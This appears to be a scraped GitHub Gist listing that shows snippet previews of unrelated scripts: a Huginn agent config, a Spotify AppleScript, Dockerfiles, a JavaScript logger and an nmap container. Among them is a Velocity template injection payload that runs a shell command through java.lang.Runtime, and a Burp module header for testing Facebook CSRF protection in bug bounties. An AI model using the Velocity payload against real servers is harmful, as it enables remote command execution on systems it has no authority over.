This is my heavily opinionated Typesafe based dev stack.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "Website Agents", | |
"description": "No description provided", | |
"source_url": false, | |
"guid": "bc515f995bae4e9e03c8facb03802ba3", | |
"exported_at": "2014-06-22T07:33:58Z", | |
"agents": [ | |
{ | |
"type": "Agents::WebsiteAgent", | |
"name": "WebsiteAgent 1", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
tell application "Spotify" | |
set myTrack to name of current track | |
set myArtist to artist of current track | |
set myAlbum to album of current track | |
set tM to round ((duration of current track) / 60) rounding down | |
set tS to (duration of current track) mod 60 | |
set myTime to ((tM as text) & "min " & tS as text) & "s" | |
set nM to round (player position / 60) rounding down | |
set nS to round (player position mod 60) rounding down | |
set nowAt to ((nM as text) & "min " & nS as text) & "s" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python3 | |
fr = open("prime.txt") | |
s = fr.read(2000) | |
s = s.replace("\n","").replace(" ","") | |
i = int(s) | |
fw = open("prime.gz","wb") |
Using the following Dockerfile
:
FROM alpine:3.2
RUN apk update
RUN apk add gcc
RUN apk del --purge gcc
ENTRYPOINT ["sh"]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#set($x='')## | |
#set($rt=$x.class.forName('java.lang.Runtime'))## | |
#set($chr=$x.class.forName('java.lang.Character'))## | |
#set($str=$x.class.forName('java.lang.String'))## | |
#set($ex=$rt.getRuntime().exec('ls'))## | |
$ex.waitFor() | |
#set($out=$ex.getInputStream())## | |
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from rawweb import * | |
def main(raw_stream,ssl): | |
''' | |
This Burpy module is specially written to find CSRF vulnerability in Facebook Application. | |
It has already found few minor CSRF vulnerability in FB application. Few them was qualifed for Bug Bounty. | |
It simply checks whether CSRF token validation is present in Server Side or not by removing token | |
from request and replaying it.Facebook application always throws a generic error message for CSRF error which is | |
"Please try closing and re-opening your browser". If this error is not present in response after removing the token | |
it returns +ve. | |
''' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(){ | |
// Override function in given prototype to add a log statement | |
function logMethod(prototype, fname) { | |
var name = prototype.constructor.name + '.' + fname; | |
if (!(fname in prototype)) { | |
console.warn("Warning: can't instrument " + name); | |
return; | |
} | |
console.log("Instrumenting " + name); | |
var original = prototype[fname]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM alexellis2/faas-alpinefunction:latest | |
RUN apk update && apk add nmap | |
ENV fprocess="xargs nmap" | |
CMD ["fwatchdog"] |
OlderNewer